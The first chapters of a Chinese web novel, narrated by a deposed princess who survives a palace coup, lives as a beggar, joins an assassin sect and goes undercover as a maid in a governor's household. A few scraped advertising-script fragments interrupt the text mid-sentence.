《长安梦华录》 1. 引子 好多年后,我才意识到,人的记忆是会慢慢变得模糊的,比如看着太庙里父皇母后的画像,我明明知道真实的他们和画上的相去甚远,却总也记不起他们真实的样子,是以也说不出画中人到底哪里差了些。 大乱战爆发,李氏老唐退居长江以南,以天堑长江为最后的屏障苟安,竟也获得中兴,等到中原大定,唐帝却断然舍弃故土拒回中原,自北汉建立以来,南唐也陆陆续续或长或短更迭了四位君王,我父皇是赵氏权阀扶持的第五代君主。 大抵我太早流落民间,或者幸福的时光总没有痛苦来的深刻,我只记得在我做公主的时候,夏季总是特别的漫长,白昼也特别的漫长,华灯初上的夜宴,总是不经意就通宵达旦。 后来记忆里就总是下雨,尤记得那夜淅淅沥沥的雨也不碍夜宴的兴致,雨越下越大,也不耽误散乱的火把和通明的灯火四处攒动,让我将一切看得清楚,宫门被炸,我的耳朵有一瞬仿佛失聪,随后,厮杀声响遍整个宫闱,母后浑身是血,曾如仙子一般的存在,彼时那般狼狈,我知道她一定是死了,不然她无论如何不舍得不应我一声,父皇也不会抱着她哭成那个样子。 死士们把我扛在肩头离开,我死命向父皇伸手,企图抓着他和我们一起逃,我知道他不会丢下母后一人,可我也不想一个人啊,如果有的选,我想和他们一起死在那一刻,一了百了,也是幸福。 我以为那将是我们最后一面。事实并非如此,我在宫变后隔了十多天,又见了父皇最后一面。可记忆里的画面和场景总是比现实转换的更加飞快,无论如何我努力,尝试过多少次,只要回忆到父皇抱着母后一边哭吼一边朝我挥手让我快走,下一个画面,必定是我在人群里听着有人宣读他的条条罪证,不等人们议论那些罪证是否属实,是否禁得起推敲,是否堵得住悠悠众口,刽子手砍断绳索的瞬间,随着众人的惊呼,板斧都会应声掉落,砍断父皇翩翩君子挺拔坚实的腰杆。 腰斩竟加诸于帝王身! 他被人随意将断成两截的身体收进竹筐里抬着示众,我在或嘘唏感叹或谴责称快或喊打喊杀或掩面哭泣的大人的缝隙里与他对视……我忘了,忘了他最后是努力扯了一弯浅笑,还是欣慰的闭上眼睛,然后微微侧头,试图遮掩。他到底都竭力在他的宝贝面前保持体面……然而我真的记不清了…… 被腰斩的人是不会很快死去的。年纪越大,我越会时常梦到父皇腰斩,有时是小时候那样看着父皇,有时躺在刑台上的会是我自己,起初,我总会梦魇惊醒,后来我便麻木起来,因为我永远会在砍刀落下的那一刻醒来,我总也不会真真被砍成两截,除了恐惧,我总没法真真切切的感受那份痛不欲生,却要活活忍受到死的疼。 后来啊,天总是下雨,总是下……就算,我们辗转多地,历尽艰辛,终于偷渡到北汉。过了长江,雨也总是不停的下,雨中刀剑相接,泥泞里总是带着鲜红,耳边除了沥沥的雨声,就是剑刺肉刀砍骨和我们奔跑的喘息声。 雨下啊下,随行的护卫越来越少,越来越少,最后只有从小守在我身边的女官玥,还有小我一岁的平安,她是我亲亲姨母的独女。宫变发生前,姨母和平安已经在宫中小住一段光景,原本打算那场夜宴结束,就随姨夫回家的…… 直到我们再也走不了了,玥就带着我们委身给一个在长江上营生的船队头子,不多久便有了身孕,船队头子希望是个儿子,时常欢喜地抚着玥越来越大的肚子说他的船队终于后继有人云云,我和平安并肩坐在庭前的门槛上啃着大饼,木木地看着他们,木木地互相对视,然后木木地看着房檐滴下的雨水,又木木地继续啃着大饼子。那一段时光,我和平安像个没有灵魂的布娃娃,好看可爱却没有生机。 我记不清了,大约应该是年后,春天来的很快,玉兰花开的可美了,小鸟儿叫的可好听了,我和平安似乎要快乐起来了。 我把船队头子给我们的压岁钱都给平安收着,她总是喜欢去找隔壁户曹家的私生子郑青玩。郑家主母厌恶他,打发他喂羊,对他的规矩也格外多些,动辄打骂。春天他更喜欢赶着羊群去陌上草场,隔三差五的回来一次。那个时候,平安就找走街串巷的货郎买些零嘴去找他,后来胆子大了,也随着郑青去草场。 我真的忘记了,只记得玉兰花的盛花期大约还有一两天就要过去了,还是玥说的,玥的肚子越发的大了,那天她对着玉兰花,唠叨心有些不安。 玥和她未出生的孩子,还有船老大的无头尸体,在玉兰花开败的前夜,永远消失在了大火中…… 父皇给我的东西,也丢了…… 那个时候平安得有多害怕啊,回来看着摧枯拉朽焦土一片的废墟,像地狱。小小的她一定以为世间从此就她一人了,大火波及四邻,一墙之隔的户曹家也不能幸免。虽说是阴差阳错,郑青的主母也总算积了些阴鸷,为郑家留下郑青这条血脉。 他们,铁了心,一定要置我于死地,我想不能去找平安,我也没什么本事,只能成了一个小乞儿,好的时候吃点残羹馊饭,实在饿了,墙根路边的野草也能吃,没那么难嚼也没那么难以下咽,花也能吃,招蜜蜂多的吃起来细品会微微回甘,蛇我不吃,我吃不到,我不会抓也抓不住,也不敢抓,我怕有毒,我分不清什么蛇没毒,蚂蚁太小了,吃起来费劲,老鼠是能吃的,虫子除了丑,但是烤一烤也挺香的,臭虫是万万不能的,不论生熟,只要入口,就要吐,过了好久也不能回想,那味道,想想也要吐。 我也不知道我一路乞讨到了哪里,只听说那地城中很是繁华,但比着南唐,所谓的繁华不值一提,但即便如此,氓流乞丐也是不让进城的。我也不想进城,因为城外有大善人桑怀民设的施粥棚子,能每日喝上一碗粥,我还进城做什么? 我没有碗,我也不急,有个瘫子婆婆,我帮她清理虱子,她每日喝完了自己的那份粥,就会把她的宝贝残碗借给我,我也乐得最后才喝上粥,因为我感觉最后的锅底要厚一些,我能更饱一些。 呵,一晃好多年过去了,好像上辈子的事儿。后来我很少说起这些事,再后来我连想也不愿意,可是再再后来,我会给孙孙们讲起来,他们总是爱听的,却总是问东问西,我总是被打断,再也没有完完整整条条理理把故事讲全过了。 婆婆走了,不声不响,在睡梦中走的。人都说她是有福的人,走的轻巧,没啥痛苦。看着我照例打来给她喝的那碗粥,又看着他们把婆婆抬走,我朝着他们远去的方向望了又望,就算看不见人了,我也痴痴地望动也不动。 有人提醒我赶紧把粥喝了吧,我只说那是婆婆的,这只碗每日盛的第一碗粥永远是婆婆的。那人只觉得我痴儿纯孝,便把我带进城中家里。哦,那人就是大善人桑怀民,他是汉的巨商,人们都更愿意叫他大善人。他是我见过最善良的人,他很有钱,可是家里却十分朴素,院落虽大,可居一族,陈设却与平民一般无二,饮食穿着也是如此。不认识的,打死也不信这家人是举国闻名的财主。 桑怀民人如其名心怀天下,忧国忧民。各类税收,他总是上缴两份,其余的布施各地,他努力经营,经常辛苦到深夜,只为能赚更多的钱。我那时才知道,有人能通宵达旦吃喝玩乐,也有人通宵达旦只为多一碗粥救人。 他很喜欢我,把我带身边,他书房里的书我可以随意看,我看书的时候,他不舍得打断我会差遣别人为他做事,有一次,他实在渴了,身边的人又都差遣走了,就自己到井边汲水喝弄湿了衣裳。 他说读书好,喜欢读书好,读书可以有出息,有出息可以强国富民,他说大汉不容易,需要读书人。 他说大乱战以后,国家重创,积贫积弱太久,百姓太苦,休养生息不易,咱们家尤有余力,当兼济天下,为国分忧。他总跟族人念叨,连为数不多的仆从也耳熟能详。这种良善之家,天子自不会亏待,族中的小辈们满六岁就全 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都接去洛阳稷学开蒙,十二岁入长安文武学宫继续教育。等成年以后,便可入仕,成为国家栋梁朝廷砥柱。可他没等到子侄荣耀门楣,文治武功的那一天。 这样的好人,是不该被我连累的。桑氏族灭震惊朝野,也是从那时起,我再也不敢贪恋丝毫善意,对我好的,我离得远远的,离得远远的……那天我从桑家猪圈的猪粪里爬出来,猩红的井水有恩人鲜血,我便那样脏着丑着,几乎把这辈子的泪都哭干了…… 游荡,整日的游荡,然后认识了一群小乞丐,起初是堂邑夫在义庄捡到我的,那时候我已经快要死了,是他小心翼翼把我从破棺的干尸旁抱出来,像伺候将死的花草一样,把我救活了。他不居功,只说是我命不该绝,没医没药的,就靠着点水靠着点剩菜剩饭活下来,他万万没料到我还能活。他说他的那伙小哥们儿,都命薄,天一冷就冻死的,少吃一顿就饿死的,擦破点皮就发烧烧死的……好多好多……他说着说着就红了眼圈,哽咽得没法再说下去了。 那是冷的久了,寒毒入体,天一冷就挺不住了,要不是饿的久了,怎么可能少了一顿就活不了呢,若非长期羸弱,小伤小病的,谁会轻易丢了性命。他们不是命薄,是命苦。 桑大善人说的对,百姓太苦了,太苦了。 当年唐帝不肯回归,抛弃故土,不管北地百姓死活,甚至不愿伸出援手,只留下一个破烂不堪的国度,让他们自生自灭。接下来的几任帝王,也都沿袭对北政策,唯独我父皇想有所改变,却最终腰斩身死,最终李氏连个嫡系男嗣血脉都没留下,焉知不是天意。 政变后,赵氏找了一个旁了不知多少支的幼子登基,大张旗鼓的实行新政,然而真挚的北汉却再度希望落空,迎来了南唐更加绝决的铁血边关政策,彻底断了念想,一丝迎唐北归的希望也没了。北国的臣民,在南唐的纸醉金迷中,彻底被抛弃了。 心有余悸,桑家的事我久久不能释怀,我偷着离开堂邑夫好几次,可是每次晕死醒来,都会发现我又被唐邑夫捡了回来。大乱战以后,中原十室九空,北汉建立已经历时四十几年,国力渐强,可像这样的破房子还有很多,我可以落脚的地方不少,后来我不再需要四处游荡,只安全起见频繁换着落脚点,堂邑夫会在我时常落脚的几处地方都藏一些他努力积攒下来的干粮,有时招来老鼠偷家,他也会生着怒气爆着粗口,用老鼠打牙祭。 后来我们一起寻找荒野的财富——无人打理的果园有什么样的果子,什么时节采摘,荒地里萝卜青菜已经天然繁衍了无数代,长势如同野菜,最粗的萝卜只有手指那么粗,可配上荒山几十年无人踏足的山庄存过腌菜的地窖的石壁上刮下来盐巴,腌制以后能吃上许久。只是曾被屠城烧杀殆尽的荒城,断壁残垣里骷髅森森,总是吓人得很,若非必要,我们也不常去。 就这样过了许久,要杀我的那些人大抵终于倦了,或者觉着我一定死了,总之他们再也没有出现过。 疾病总是如影随形,救济的时候我们这些人总会被遗漏,瘟疫四起,我们稍有虚弱就会被第一时间清理,死人堆里躺久了,好像心中再也没什么可以恐惧得了。我那时候就想,习惯了也好,到了地狱,就如还在人间一样,不知道自己死了,不就和活着一样吗?我不怕死,却永远对生偏执。 义庄都满了,死去的人来不要急处理,官府的意思是把尸体和将死之人一并焚了,堂邑夫哭着祈祷,希望可以赶紧咽气。 那个时候师父就像谪仙一样出现…… 瘟病过后,堂邑夫不知哪天起就尊称我为老大,对我唯命是从。我想拜入师父的鬼门,堂邑夫二话不说,跟着我就走。他那样坚定。 啊,真是好多年了啊,身边的人来来去去,停停留留,聚聚散散,只有他总跟着我,陪着我,就算我死了,他也是主持完我的葬仪,扶着我棺椁一同进入地宫。又给棺椁里的我讲不知多久我们的故事,才慢慢的沉沉的睡去…… 2. 鬼门 师父说,你若能寻到山门,便可入我门下。 说走就走,一路阳光正好,我们在林荫大道上行走。我有一种说不出的轻快,终于可以像一个人一样在路上行走了。 那一年堂邑夫的邻村结拜兄弟黑夫年满十六岁,北汉的户政规定男子年满十六就可以去户曹登记。一旦登记在册,就可以分到田地,住房,可以娶妻生子,可以经商,可以投军,可以光明正大的四处行走,总之算是个人了。死了有自家地里埋,可以起坟头,混出人样来还能立块碑。 黑夫特意来寻我们一同回他新家,他分到一块还算可以的地,离镇上有些远,对我们来说不偏不远刚刚好,周围还有不少荒地,按律法,只要开垦出来,去田曹登记造册,这片地就记入名下,成为私产,且荒地复垦奖赏颇丰,头三年免征赋税。 黑夫去田曹登记领取种子,带着堂邑夫和我以及他的兄弟们边要着饭,边劳作了一年。秋收,交了税,归还了种子,又预留出第二年的种子,家里存粮不多,但也总算让兄弟们不再吃了这顿没下顿了,有奔头,有体力干活,日子总算像样了,照这样下去明年可以换些鸡养,后年又有弟弟成年,那时候说不准能养猪。 大家七嘴八舌的畅想美好的未来。只是想起弯弯和二狗,大家又不经哭起来,他们是累死的,肚子都吃不饱,怎么能干农活呢,毕竟是十来岁的娃娃,就算吃饱了也不撑累啊,若非成年的黑夫领头干,大伙不惜力气团结努力帮衬,那地怕是也种不起来。这样的小团体少之又少。慕名而来的小乞儿也多了起来。 地不是想种就种的,不符合条件的流民是不给地种的,给了也白给,还浪费种子。要经过户曹田曹两曹把关,不然刚登计还没到年底移交上级,人就死了,就得销户撤田,还不够官府麻烦的。 嘱咐好他们在家好好种地,跟他们说有多少劲种多少地,不要贪多,大致安置妥当,黑夫就去县里衙门签出路引,黑夫仗义,送我和堂邑夫寻找鬼门万里之遥,数月后才分别返家,人生的路要自己走,我们就这样散了。希望他们越来越好,人要一直活下去,地要一直种下去。 “现在你就是我妹妹了,不用扮作小子了。”堂邑夫贸贸然来了这么一句。 我急忙问他怎么知道。我都脏的看不出是个孩子了,你还能分清我是男是女,我也是服了。又追问他们知道吗? 他说知道啊,兄弟们都知道啊。“因为你蹲着尿尿。” 我有些脸红,反驳:“蹲着就一定是尿尿,那你们拉屎也站着。” 堂邑夫不着调,哈哈大笑,“你从来不和我们一起。” 后来我们老了回忆此事,我惊呼我不该那样反驳实该骂他不要脸——事实如此,他当时说得好生自然,好生不要脸。堂邑夫笑着反驳说老夫心灵纯净,没觉得不妥,至死不觉得不妥。 原来有时身份暴露的就是这么简单。 可我不和你们一起的原因,才不是因为男女有别,我那时候太小,不懂这些,再说说不定哪天就死了,睡下去还能不能醒来都说不准,我没想过这些。我不和你们一起,是因为我刚来的时候,都快饿死了,没有什么好拉的,我只看着你们一起蹲在倒塌的墙头有说有笑的拉屎,夕阳给你们都镀了金边儿,蓬头碎发亮闪闪的在风里乱飞,一个一个像毛茸茸的小狗。忽然小小拉肚子拉了好大一滩,拉了一条很长很长的大虫子,你们惊呼着用石头砸,结果……你们崩的浑身是屎,噦,臭狗狗,我才不要和你们一起。 可是没多久小小就死了。 “他都不知道你是个妹妹。要是他还活着,他也会很小心的保护你的。”堂邑夫鼻子有些酸,眼圈红红的。这年头像他们这些没爹没娘的孩子,有个妹妹在身边儿,真的很不容易。 大乱战以后,中原人口骤降,老唐人不肯北归,人口恢复十分艰难,是以汉家的女人十分金贵,流民中都是老弱病残,这些人的安置问题,对于贫困的国家来说很难解决,大多只能依靠州县衙门或者富绅施粥,朝廷下诏嘉奖也就是了。 但是这些流民中你绝对看不到一个三十以下的女性,四十的都少有,除非身有恶疾有重大残疾。眼盲耳聋哑巴毁容这都不是问题,就算有些痴傻,但凡还能活动,还能够生养,都会被各地府衙妥善安置,小女孩更是金贵,好看的更不亚于珍宝! 当然,不是所有人都情愿接受安置,户曹会强行安置,女孩们往往哭着离开,可是又能怎样呢。家人们是不能跟着的,那些已然成为流民的家人,太小的太老的,病的残的,他们没有劳动力,谁家都没能力养闲人的,总之能活一个是一个吧。就算不舍得,大多都会让户曹把女孩带走。 也有把女儿藏起来,死也要死在一起的,堂邑夫笃定我就是这种情况,猜想我一开始和家人一起藏着,后来孤身一人是亲人死绝了,饿死之际被他所救。 衙门施粥是国家对流民的恩典,只希望年幼的男孩子能活到成年,只要活到成年,像黑夫一样,那么就有更多生的希望。 可是太难了,孩子们太难长大了,尽管朝廷把男子成年的年龄降低到十六岁,可是这是一个被掠夺被掏空家底积贫积弱太久太久的国家,缺医少药,底层人民是不敢生病的,莫说孩子怕病,大人也怕的,只要家中孩子没有成年,家里劳力死了,一家老小就没了生计,地荒了,人没了吃食,国没了税收……这就是北汉无法逃脱的死循环。 到处都是土地,可到处都有吃不饱的人,大乱战之后又经历几次水旱灾害,几次瘟疫,听年长的人说早些年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 更苦,如今的北汉,已经很好了,起码乡镇有了乡镇的样子,城市有了城市热闹,大都城有了大都城的繁华,从一无所有到如今,我总是深深佩服北汉的上位者,能在大厦倾覆后力挽狂澜,让这已成为焦土的大地,年复一年的休养生息焕发生机,如今草木茂盛渐渐繁荣,这是伟人干的事。 一路走来,看着这片土地活了过来,我们也心情愉悦,脚步轻快。堂邑夫对我很好,一路上水和干粮总是先递给我,走上一段路程,不管我累不累,总要背着我再走一段,才肯休息。他擅长交际,喜欢打听,也喜欢和人胡侃,互通有无。 毕竟是师父那样的神仙人物创办的门派,鬼门听着吓人,其实是一个世外桃源一样的存在。很多客旅途径此处,或是移居此地,也不知道这里便是传说中的鬼门。 若非村中同门看到师父给我们的印记,我们怕是也要错过。 在这里我恢复了女儿身,师父给了我两条路,一是上山做鬼门的杀手,二是在山下的小香河村定居下来,做个村民,生儿育女好好过日子,唯一的危险,就是必要时给杀手们打打掩护。我自然选了那条难走的路,堂邑夫自然是跟着我的。 鬼门,每个正式的杀手,都有一个预备替补,称作副手,若是任务失败,副手就自动顶上,才可以正式接任务,赚佣金。 入门不出半月,我们已经适应,师父又给我两个选择,一是继续训练,以后做杀手,二是做他的入室弟子,可以学更高更深的武功,但是得做他的药人,帮他试药试毒炼药制毒。 师父让我想好,说之前不乏有门徒想拜入他的门下,做他亲传弟子,可是或长或短,中途都放弃了。但是他们已经拜入师门得了师父的真传和修行,为了不让秘功外传,师父只能忍痛将其斩杀。 也就是说这是一条不归路。 可我本来也只有一条去路。 试药炼毒是痛苦的,但绝不会死,我躺上十天半月一准就好。有时师父会奖励我一本秘籍悉心传授,有时会直接度我一些内力助我修为。 堂邑夫的训练结束后,被安置在山下的村子里,有了新的营生和身份——与村里人有了千丝万缕的亲戚关系。一村人命运相连,这些关系一旦存在,就算死也不能更改。 堂邑夫平时跟着他的船运姑父,生活,练武……大家也就都明了了,堂邑夫就是他姑父的副手。船出海回来,堂邑夫就往我这里跑,有时碰上我试完药正在休养,他就照顾我,给我讲海上见闻,多少耽误练功,受罚也是常事儿,但他不以为意,我其实也不想他能出落成一个真正的杀手,所以并不盼着他有出息。 后来师父的药炼成了,出山前,把门中一应事务交托给我和大师兄苏和,村里事务托付给村长,就再也没回来…… 3. 二爷 上郡太守府上的二公子年十四,就领了府务及南部各镇政务,要从老太太的院子移出,立院别居。 二公子早年丧母,是老太太跟前长大的,有些溺爱也是自然,拨了四个小厮,除了身边的大丫鬟青竹,又向户曹买了两个丫头进来,我就是其中之一。 其实要说上郡的户曹本是听命太守,这太守府上有时府务就是政务,政务就是府务,府上添两个丫头的事只要给户槽说一声也就罢了,可是太守向来治下严明,治家节俭,老太太也不想横生枝节,便过了明面,太守察看户曹公文,知道以后非要把两个丫头退回去。老太太周旋半天,最后二公子身边减去两个小四,留下青竹和绿竹,我则是到老太太身边顶了原来青竹的差事。 要说太守家的二公子身边就这几个人伺候,难免有些寒碜,可汉家的官宦和老唐南唐是不一样,官人们处理政事,农忙时还要干活,女人更不闲着,养尊处优四体不勤五谷不分,是万万没有的,上了年纪的只要还能动,就羞于闲着。太守李家家风更是崇尚勤劳节俭。 老太太带着我们养蚕,能把蚕养的健壮,结出的蚕茧结实厚实,会被认为是把过日子的好手,这样的女人是人人称赞的有福之人,起码心地良善,是个勤快心细的。 我自然知道要是把蚕养的太好,必定会显眼。可是我绝不会为了任务便利而故意伤害这些可爱的生灵,以达到刻意掩藏的目的。 蚕是极为娇贵的,即便好生照料,也时有意外,但凡稍稍疏忽,也就养不好了。看着小蚕一天天长大,我心里说不出的开心,很快蚕儿就上山了,茧子结的比往年都好,一季艰辛终于有了回报。 老太太很是满意,欢欢喜喜的手把手的教我接下来的工序,“这丫头真好教,一学就会。”老太太看着忙碌的我,跟身边的李妈妈道。李妈妈回道:“还得是老太太慧眼如炬,一早留在身边亲自教养。”两人对视一笑。 上好的茧子缫丝,上纺车缠好生丝存放,剩下的做成蚕兜,像个帽子,两人配合用力扯开,层层叠叠,做丝被,做冬衣。到了深秋天凉,霜寒露重,老太太打发我给二公子送过去。我过去的时候,大公子正在检查二公子的功课和分管的府务政务完成情况,时有褒奖,时有提点,也有责备。 青竹让我在厢房外等着,说是前个二公子巡南部各地回来带了些东西孝敬老太太,回府时只一心着急光顾着去给老太太请安,竟忘在衙里,今怕是又不得闲不能过去,正好我来。 青竹说罢转身进去清点,吩咐绿竹手脚快些。 大公子蹙着眉头从里面出来,再三叮嘱跟在身后的二公子,最后又道:“那套拳,我且再打一遍,两日后你若还练不成样子,自己跟父亲说去。” 大公子说罢便在天井里练了起来,不得不说真是好俊的身手。众人看得眼花撩乱,我却看得津津有味,脑海中不时闪现破解招式,每胜一招我便开心一下。 大公子走后,青竹也收拾妥当打发小厮随我回去。 这天爽冷的很,二公子的额角却浸着汗珠,身边的小厮都不敢大声喘气,递上帕子小心道:“是大爷拳脚太快……” “别给我找借口,父亲也是这样教大哥的,大哥就学得会,是我的问题,北边战事吃紧,我还要父亲大哥分心,实在太不应该,再这样下去,何时才能有出息,何时才能上阵杀敌,保家卫国?” 闻此良言,我心生敬佩,脚下一顿,道:“二爷只是太过紧张了,总是怕忘,便更难专心记忆。” 我颠了颠抱着的一大包东西,拿得更稳一些,才道自己方才将大爷那套拳的招式都记下了,可以给二公子演示。 见众人不信,我索性放下东西,在天井里练了起来,我动作稚嫩招式打的极慢,但分毫不差,二公子越看眼越亮,最后一脸欣喜的跟着我练起来。 一众人都震惊的不行,唯有撩着门帘趴在门框上往外瞧的青竹最先回过神来,看着另一侧同样撩着门帘趴在门框上的绿竹,道:“别看了,走,带着那些礼物,随我去老太太那去。” 她回来时,二公子已经将前半段打的有模有样,正和我练后半段。我瞧着她拿着我的包袱进了她的屋,不多时又拿了一个包袱出来,差小厮送去老太太院里。 青竹端了热茶过来,递上毛巾给二公子擦汗,道:“二爷不用着急学,老太太有令这丫头以后就住这儿了。” 是夜,青竹守夜,睡在二公子卧房的侧间。房中只我一人,乍一换地儿,我也睡不安稳,堂邑夫摸进我房中来,我窝在床上,也不睁眼,道:“二公子赏的糕点,你尝尝,比老太太屋里的好吃,甜些。”虽比不得我小时候,但实话实说,是我这些年吃过最好吃的糕点了。 “我不要。”堂邑夫堵气,坐在炕边,顺势握住我冰凉的小脚,我皱着眉头抽回来,踢他他也不躲,“给你暖暖,快,拿过来。”我并不听他的,他一把攥住。我啧声斥道:“又不是小时候了。” 唐邑夫不以为意:“我眼里你永远是小时候。”闻言我俩皆是一顿,堂邑夫有些尴尬,没话找话说,“大冷天的炕也不暖和,你最怕冷,瞧你冻的。”还没入冬,就算夜里凉,怎就冻了?我不理他。他又道:“那个……那个大笨蛋,你教他做什么,暴露了怎么办。” 他可不笨就是有点傻傻的,大公子确实不大擅长教习,李椒不得窍门而已,可比你好教多了。这话我自不会说与堂邑夫听。 “暴露不了,院里那些婢女小厮自然什么都不懂,二公子因老太太娇惯,这个岁数才启蒙学武,根基尚浅,能看出什么?我跟他说我单纯就是记性好,他就信了,还很崇拜我的样子。他那么深信不疑,我都没用找补。”我倒是想好了应对的话。 “尝尝,很好吃的。”我起身将糕点递给堂邑夫,他别过头去,我直接往他嘴里塞了塞,他别扭了两下,一口吃掉,眼睛一亮,嘟囔道:“这些公子哥,还真是会享受。” 这才哪到哪呀,“以后给你更好吃的,说正事儿吧。”今晚他来,可不单是为了给我倒酸水暖脚讨糕点。堂邑夫立时严肃起来,他办正事的时候,是懂分寸的。 正事儿,对,很重要的事儿,可这世间事,说来也神奇,往往越是虔诚,到最后往往越是会出纰漏,而我决不允许。 事情的进展严格按照我的意愿发展,不日就可行动。 不多时二公子那边就叫人伺候了。 “还真是刻苦,三更天一到就起来练武。”堂邑夫不屑的撇撇嘴。 “你快走吧。” 堂邑夫深深看了我一看,转身翻出后窗,消失在黑暗中。 下人房里的火炕除了过年几日,每次刚烧的温和就断火,年后打春更是隔三差五才烧一次,防止返潮,倒春寒极为恼人。 就这已经比寻常人幸福多了,而我自有好去处,先前在老太太屋里,老太太喜欢我在身边伺候,总让我守夜,我窝在她的脚头睡了,她也不介意,有时起夜也不叫我,还给我掖被角,可我是那么不懂事的人吗,即便她说了不用不用,但我还是一听动静就起来伺候。她是上了年纪的人,起夜必须得有人搀扶。 她年轻时候干活不惜力气,如今身上痛,我便给她按摩疏通,有时按着按着她就睡了。有时我出去做事回来的晚,见快到她起身的时辰了,索性就不睡了,给她继续按,她醒来还以为我给她按了一夜,心疼不已,便让我吃了早饭在她炕上补觉。 下人进来声大了,她还厌烦的让人出去,仿佛被扰了安眠的是她。 我去了二公子院里以后,不给二公子守夜的时候我就回老太太屋里守夜,给二公子守夜的时候,我就等他睡了,悄悄的在他脚边睡一会儿,等快三更的时候,再下来。 他怎么会不知道呢,只是为了不让我害怕,假装不知而已,我也假装让他以为我不知道。 他刻苦,喜欢睡前看书,有时看到很晚,仍不尽兴。可是我守夜的时候,他总不用提醒,看一会儿就不看了,每次放下书倒头就睡,下一刻就鼾声如雷。 我便又忍着笑,假模假样小心翼翼蹑手蹑脚窝在他脚边炕头睡下,我会蛄蛹一会儿,才猫儿一般睡着。非常配合他的表演。 他还会忍一会儿,再三确定我睡熟了,才起身看看我是否蹬被,给我掖掖被角。他真是傻得可爱。 李府自来家规严明,即便老太太宠爱他,也不纵他懒惰,先前他从来不知道人是可以睡懒觉,有一次,我实在累了,在老太太屋里睡的天昏地暗,他找不到我,急躁不已闹起来,直到老太太闻讯把他找去。 老太太掀开帘子,道:“在这儿猫儿着呢!还能给你丢了不成,左不过不在你院里,就在我屋里。” 二公子辩说:“我问过的,您院里的人也没看见她来,我又没敢扰您。”老太太嘘了一声,忙拉着他去外间说起话来。 我狡黠一笑,我真是太喜爱这上郡的大火炕了。 二公子的武功精进不少,外家功夫已经小成,太守准他跟着大公子修习内功心法,政务府务也多有长进。大公子时常褒奖,不时还送来太守的嘉奖函。那个时候,二公子就跟我显摆,他会读给我听,有时会自己添些更好听的词汇。我总是茫茫然看着嘉奖函,又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 仰头崇拜的看着他,然后在他最得意的时候,很疑惑的轻轻问:“这上边就几个字,好像没你说的多。” 这时他会飞快的合上信函,把它压在厚厚书本的最下面。看着他窘迫的样子,我就觉得自己还挺坏的,他显摆就让他显摆嘛,他骄傲就让他骄傲嘛,他翘着尾巴满天飞,就满天飞嘛,左不过他开心开心呗。可是我忍不住逗他啊,因为逗他我开心。 他研习心法,我要回避,外家功夫的招式上也再不用我帮忙了,可他会让我陪在身边,美其名曰护法,顺便教我识字,谁知我学的飞快,不出几日便能自己阅读。连青竹都忍不问我怎么学的,我倒一副不解的样子,道:“怎么学的?没怎么学啊,二爷读了一遍,我跟着读了两遍啊,就可以了啊,你试一下,你也行。” 青竹一脸无语,憋憋嘴便转身继续忙,不再理我。把绿竹换走,二爷倒是高兴,青竹的活却多了好些。 再后来我让二公子教我写字,他却不愿意了,只教我写自己的名字,和他的名字。 我每日只练这几个字,从写得歪七扭八,到娟秀漂亮。他痴痴的看着我们的名字,道:长安等你长大了,做我的娘子吧,还有四年,我一定最先去户曹请官媒来,谁也抢不去你,到时媒人问你,你可一定要答应啊。 汉家女子十四岁,作成年,可婚配。 四年以后吗,长大吗?我怕是再也长不大了,给师父试毒炼药,是毒不死的,可也坏了我的身子,我再也长不大了…… 我不禁垂眸看了看自己,又看了看铜镜中稚嫩的脸,二公子仿佛看透的我的心思,也一脸奇怪道:“一年多了吧,怎么不见长呢,许是吃的还是太少,剩下的活也做了。你现在最大事情就是长身体。” 剩下的活儿?也没剩多少了啊,差不多都让青竹干了,我如今也就端茶倒水伺候糕点,大半还让你赏赐我了。“那可不行,人活着怎么能什么都不干呢?又不是养猪。”我故作气恼,“本来就没什么活可干了,再什么都不干,可真对不住青竹了。” 二公子闻言笑得越发开心了。 我生气的指了指他的额头,道:“傻瓜不会算数啊,我都来一年了,成年哪还用四年,三年好吧。” 二公子抿唇眼睛眯成一道缝,似乎欢喜极了。这时随从来叫,二公子敛了敛神色,出门前,转头看着我道:“三年,那你是答应了哈。” 一束光就那样自然的照着他,他干净的脸庞,大概是那时候烙印进了我的心底,有时不经意就想起,甚至入梦。 可是啊,长大这件事对我来说……唉,你啊,你可知我可不是十来岁的小丫头呢,你不是也犯奇怪,我去年来的时候就是这样子,如今还是这样子吗?怕是……怕是过些年,你若有缘再见我,我还是这副样子,到时候你得多厌恶我啊。 春天万物复苏,大地生机勃勃,我喜欢万物充满生命力的样子。又是玉兰花盛开的时候。 上郡南部,出了一桩案子。牵丝连带引出江湖第一大剑庄隆御山庄。 “自古民不举官不究,江湖事江湖了,灭门之祸,无有苦主,二爷我看这案子就到这吧,下官带人亲敛尸身,叫他们入土为安,也全了隆御山庄的体面。”府衙内刑曹秋官回禀道。 “我上郡治下历来清平和乐,出了这一桩灭门案,百姓震动,人心惶惶,案子不能说了就了,得有个交代。”二公子义正严辞,看着卷宗,道:“隆御山庄多次出资援助北面战事,朝廷也班旨嘉奖,平时多设粥棚协助官府安置流民,还平息过不少江湖纷争,我父亲不喜交涉,但对他家主君人品也是多有敬佩,这是我父亲在军中就此事下的批文,你看看。”说着拿出批文交给秋官。 “你且点人,咱们立即动身赶赴隆御山庄,此番我……”二公子继续说着,只见随从神色有异,快步进来低声道:“二爷,府上来报说长安找不见了。” 二公子心头一紧,按下急躁,微微蹙眉,余光扫了一下正在细读批文的秋官,低声道:“怕是在祖母那里,不妨事。”这话更像是安慰他自己。 “就是老太太差人来报,说是二爷一出门,青竹就找不见长安了,先去了老太太那里寻,也没有,猜别是跟着咱们出来了,老太太思来想去,觉得您再宠长安,也不会不顾规矩带着女眷出门,就差人来问,方才与小人再三确认没跟着咱们,回府里又上上下下找遍了,确定是丢了,便又来请示。才发生灭门案,老太太忐忑,担心还会出乱子,也不敢耽误您查案,只问您能不能赶赴南部之前下个令,让府卫提些差人捕快带着画像赶紧找找,晚了……怕是不好。” 4. 进京 世界是什么样子,取决你的阶层,底层,中产,上流,皇家,各个阶层眼中的天下是不同的。 